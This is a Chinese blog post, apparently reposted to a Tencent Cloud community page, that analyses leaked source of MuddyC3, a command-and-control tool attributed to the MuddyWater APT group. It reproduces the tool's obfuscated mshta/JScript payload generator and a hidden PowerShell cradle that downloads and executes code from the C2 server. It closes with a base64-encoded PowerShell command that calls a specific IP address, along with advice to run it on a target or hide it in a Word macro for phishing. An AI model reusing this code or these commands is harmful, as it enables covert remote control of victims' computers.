专栏首页七夜安全博客APT组织武器:MuddyC3泄露代码分析

APT组织武器:MuddyC3泄露代码分析

微信公众号:七夜安全博客 关注信息安全技术、关注 系统底层原理。问题或建议,请公众号留言。

MuddyC3简介

MuddyC3是MuddyWater组织自研的渗透工具,基于Python的B/S架构。安全研究人员在Github上发布了相关恶意样本和反编译的源码,从代码的完整度和功能上,看出应该是早期版本,版本为1.0.0。

GitHub 地址:https://github.com/0xffff0800/muddyc3

再说一些这个apt组织,MuddyWater被普遍认为是一个来自中东地区的,长期活跃的APT组织。从2019年2月到4月,该组织发起了一系列针对土耳其、伊朗、阿富汗、伊拉克、塔吉克斯坦和阿塞拜疆的政府、教育机构、金融、电信和国防公司的网络钓鱼电子邮件攻击。

APT组织总是给人一种神秘强大的感觉,但并不意味着高不可及,无法触摸。本文就简要分析一下MuddyC3的代码,其实咱们也可以做到。

基本结构

MuddyC3 v1.0.0的代码量不大,结构还是比较清晰的,是个传统的B/S架构。控制端是基于web.py的服务端,而被控端使用了多种payload对机器进行控制,并和控制端进行http通信。

代码结构中:

  • muddyc3.py用来启动web端,并显示命令参数和功能
  • core目录下是核心代码,主要包括交互命令,加密以及web服务。
  • lib目录下的web是web.py的库代码,prettytable.py是用来打印表格。

muddyc3.py

分为两部分功能:

1.生成被控端的木马payload,用户填入C&C服务器的ip和port,是基于powershell的,用于无文件攻击用户电脑.

2.启动webserver,与被控端进行通信,并在命令行接受黑客下一步的指令。

core核心代码

讲解一下core目录下的cmd.py和webserver.py文件。cmd.py中介绍了6种命令,但其中show命令没有实现。list命令用于列举所有的受控端,use命令用来与受控端进行交互。

HELPCOMMANDS = [
        ['exit','Exit the console'],
        ['list','List all agents'],
        ['help','Help menu'],
        ['show','Show Command and Controler variables'],
        ['use','Interact with AGENT'],
        ['back','Back to the main']
        ]

list命令主要列举受控端的用户名,机器名,系统版本以及内外网ip。

webserver实现了多种http接口,用来和受控端交互。受控端可以从服务端获取多种payload(可以加密),上传,下载文件,命令执行,以及保持心跳。

其中mshta.exe的payload比较有意思,还做了一些简单加密和混淆,防止进行安全人员进行解析。

class mshta:
    def GET(self):
        ip = web.ctx.ip
        p_out = '[+] New Agent Request PAYLOAD (%s)'%(ip)
        print bcolors.OKGREEN + p_out + bcolors.ENDC
        code = '''
<html>
<head>
<script language="JScript">
window.resizeTo(1, 1);
window.moveTo(-2000, -2000);
window.blur();

try
{
    window.onfocus = function() { window.blur(); }
    window.onerror = function(sMsg, sUrl, sLine) { return false; }
}
catch (e){}

function replaceAll(find, replace, str)
{
  while( str.indexOf(find) > -1)
  {
    str = str.replace(find, replace);
  }
  return str;
}
function bas( string )
    {
        string = replaceAll(']','=',string);
        string = replaceAll('[','a',string);
        string = replaceAll(',','b',string);
        string = replaceAll('@','D',string);
        string = replaceAll('-','x',string);
        string = replaceAll('~','N',string);
        string = replaceAll('*','E',string);
        string = replaceAll('%','C',string);
        string = replaceAll('$','H',string);
        string = replaceAll('!','G',string);
        string = replaceAll('{','K',string);
        string = replaceAll('}','O',string);
        var characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
        var result     = '';

        var i = 0;
        do {
            var b1 = characters.indexOf( string.charAt(i++) );
            var b2 = characters.indexOf( string.charAt(i++) );
            var b3 = characters.indexOf( string.charAt(i++) );
            var b4 = characters.indexOf( string.charAt(i++) );

            var a = ( ( b1 & 0x3F ) << 2 ) | ( ( b2 >> 4 ) & 0x3 );
            var b = ( ( b2 & 0xF  ) << 4 ) | ( ( b3 >> 2 ) & 0xF );
            var c = ( ( b3 & 0x3  ) << 6 ) | ( b4 & 0x3F );

            result += String.fromCharCode(a) + (b?String.fromCharCode(b):'') + (c?String.fromCharCode(c):'');

        } while( i < string.length );

        return result;
    }

var es = '{code}';
eval(bas(es));
</script>
<hta:application caption="no" showInTaskBar="no" windowState="minimize" navigable="no" scroll="no" />
</head>
<body>
</body>
</html>

'''
    js = '''

var cm="powershell -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('http://{ip}:{port}/get'));";
var w32ps= GetObject('winmgmts:').Get('Win32_ProcessStartup');
w32ps.SpawnInstance_();
w32ps.ShowWindow=0;
var rtrnCode=GetObject('winmgmts:').Get('Win32_Process').Create(cm,'c:\\\\',w32ps,null);
'''
    js = js.replace('{ip}',config.IP).replace('{port}',config.PORT)
    js = js.encode('base64').replace('\n','')
    re = [[']','='],['[','a'],[',','b'],['@','D'],['-','x'],['~','N'],['*','E'],['%','C'],['$','H'],['!','G'],['{','K'],['}','O']]
    for i in re:
        js = js.replace(i[1],i[0])
        return code.replace('{code}',js)

运行一下

将下面打印出来的powershell payload在目标机器上运行一下,就会被控制。可以将代码放到word宏中,钓鱼执行。

Start-Process powershell -ArgumentList
"iex([System.Text.Encoding]::ASCII.GetString([System.Convert]
::FromBase64String(\'JFY9bmV3LW9iamVjdCBuZXQud2ViY2xpZW50OyRWLnByb3h5PVt
OZXQuV2ViUmVxdWVzdF06OkdldFN5c3RlbVdlYlByb3h5KCk7JFYuUHJveHkuQ3JlZGVudGl
hbHM9W05ldC5DcmVkZW50aWFsQ2FjaGVdOjpEZWZhdWx0Q3JlZGVudGlhbHM7JFM9JFYuRG9
3bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xMTMuOTcuMzUuMTU4OjgwMDEvZ2V0Jyk7SUVYKCRzKQ==\')))"
 -WindowStyle Hidden

本文分享自微信公众号 - 七夜安全博客(qiye_safe),作者:七夜安全

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-09-01

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • OD常用断点之CC断点

    七夜安全博客
  • 脚本代码混淆-Python篇-pyminifier(2)

    在上文中,我们讲解了pyminifier中简化和压缩代码的功能。本篇作为第二篇,也是最终篇,讲解一下最重要的功能:代码混淆,学习一下这个项目的混淆策略。大家如果...

    七夜安全博客
  • python基础教程第二课

    七夜安全博客
  • C++指针数组,二级指针和函数指针的练习

    Enterprise_
  • PDO::quote讲解

    PDO::quote — 为SQL语句中的字符串添加引号。(PHP 5 = 5.1.0, PECL pdo = 0.2.1)

    砸漏
  • 两条命令助你成为优秀的 YAML 工程师

    我们在编写 Kubernetes 资源清单的时候可能会经常会忘记要创建的资源名称,即使知道了可能也不记得该资源对象有哪些属性可以使用了,特别是对于那些名称很长的...

    我是阳明
  • 对象存储 Node.js SDK cos-nodejs-sdk-v5 Typescript 声明文件

    用到腾讯云对象存储,使用Node.js SDK cos-nodejs-sdk-v5,没有 typescript 的声明文件,自己写了一个。

    苦少
  • Hive 创建和生成Rcfile 和SequenceFile格式的表

    rcfile格式表需要从原始的textfile 文件格式表导出数据并导入到新建好的rcfile格式表里

    sanmutongzi
  • c#中关于string的特性介绍以及注意事项

    string类型在我们实际项目开发中是一个最使用的类型,string是一个引用类型这一点大家都知道,但是在实际使用过程中,大家会发现string和我们常见的引...

    小小许
  • php实现的生成排列算法示例

    砸漏

扫码关注云+社区

领取腾讯云代金券